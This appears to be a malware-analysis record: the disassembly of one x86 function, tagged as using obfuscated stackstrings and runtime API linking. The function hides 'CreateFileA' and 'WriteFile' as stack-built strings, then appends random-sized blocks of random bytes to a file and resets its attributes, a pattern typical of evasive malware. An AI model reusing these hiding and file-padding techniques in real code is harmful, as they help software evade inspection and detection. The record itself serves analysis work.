Function at 0x1000ea30
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x448
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.SetFilePointer
push str.KERNEL32.dll
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov dword [esp + 0x10], eax
lea eax, [esp + 0x20]
lea ecx, [esp + 0x3c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call ebp
mov edi, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x2c]
push edx
push eax
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
push eax
call ebp
push 0
push 0x80
push 4
mov dword [esp + 0x58], eax
push 0
mov ecx, dword [esp + 0x46c]
push 2
push 0x40000000
push ecx
call edi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000ec76
push 2
push 0
push 0
push ebx
call dword [esp + 0x20]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x59]
mov byte [esp + 0x58], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x54], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov dword [esp + 0x10], edi
test edx, edx
mov dword [esp + 0x50], edx
jle 0x1000ec3a
push str.CloseHandle
push str.KERNEL32.dll
call esi
push eax
call ebp
mov edx, edi
and edx, 0x800003ff
jns 0x1000ebf2
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1000ec17
xor edi, edi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, edi
mov ecx, 0xff
cdq
idiv ecx
inc edi
cmp edi, 0x400
mov byte [esp + edi + 0x57], dl
jl 0x1000ebf6
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x54]
push 0
push edx
lea eax, [esp + 0x60]
push 0x400
push eax
push ebx
call dword [esp + 0x60]
mov eax, dword [esp + 0x50]
inc edi
cmp edi, eax
mov dword [esp + 0x10], edi
jl 0x1000ebd1
push str.CloseHandle
push str.KERNEL32.dll
call esi
push eax
call ebp
push str.SetFileAttributesA
push str.KERNEL32.dll
mov edi, eax
call esi
push eax
call ebp
push ebx
mov esi, eax
call edi
mov ecx, dword [0x1001b188]
mov edx, dword [esp + 0x45c]
and ecx, 0xffff
push ecx
push edx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x448
ret